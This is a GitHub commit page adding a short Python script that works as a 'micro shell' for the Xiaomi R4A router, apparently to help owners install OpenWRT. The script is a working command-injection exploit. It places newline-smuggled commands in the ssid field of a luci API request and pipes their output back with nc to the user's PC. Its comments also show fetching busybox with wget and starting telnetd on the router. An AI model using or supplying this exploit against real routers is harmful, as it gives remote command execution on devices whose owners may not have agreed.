Skip to content

Commit

Permalink
Create xiaomi_r4a.py
Browse files Browse the repository at this point in the history
Micro shell for Xiaomi R4A - answer to acecilia/OpenWRTInvasion#141
licryle authored Sep 3, 2024

Verified

This commit was signed with the committer’s verified signature. The key has expired.
addaleax Anna Henningsen
1 parent 83019e0 commit ef5dffe
Showing 1 changed file with 37 additions and 0 deletions.
37 changes: 37 additions & 0 deletions xiaomi_r4a.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
import sys
import urllib.parse
import requests

# On computer:
# $ wget https://github.com/acecilia/OpenWRTInvasion/files/9894805/busybox.zip
# $ unzip busybox.zip busybox
# $ mkdir busybox
# $ cd busybox
# $ mv busybox ./busybox/
# $ sudo apt install ncat
# $ nc -lk 1234 &
# $ python3 -m http.server 8080 &
# $ killall ncat
# On a new session (place it side by side so you see the result of the commands)
# $ python3 xiaomi.py
# (Enter values then type the commands $$ fort shell in shell)
# $$ wget -O /tmp/busybox http://192.168.31.147:8080/busybox
# $$ ls /tmp/busybox
# $$ chmox +x /tmp/busybox
# $$ /tmp/busybox telnetd

stok = input('What\'s the stok:\n')
pc_ip = '192.168.31.' + input('What\'s your PC IP:\n192.168.31.')
pc_port = input('NC port:\n')
template = 'http://192.168.31.1/cgi-bin/luci/;stok={0}/api/misystem/set_config_iotdev?bssid=XXXXXX&user_id=XXXXXX&ssid=-h%0A{1}%0A'

command = input('Next command ("exit" to exit):\n$ ')

while command != 'exit':
encoded_up = urllib.parse.quote('{0} 2>&1 | nc {1} {2}'.format(command, pc_ip, pc_port))

url = template.format(stok,encoded_up)
# print('GET ' + url)
print(requests.get(url, headers={'User-Agent': 'Mozilla/5.0'}))

command = input('Next command ("exit" to exit):\n$ ')

0 comments on commit ef5dffe

Please sign in to comment.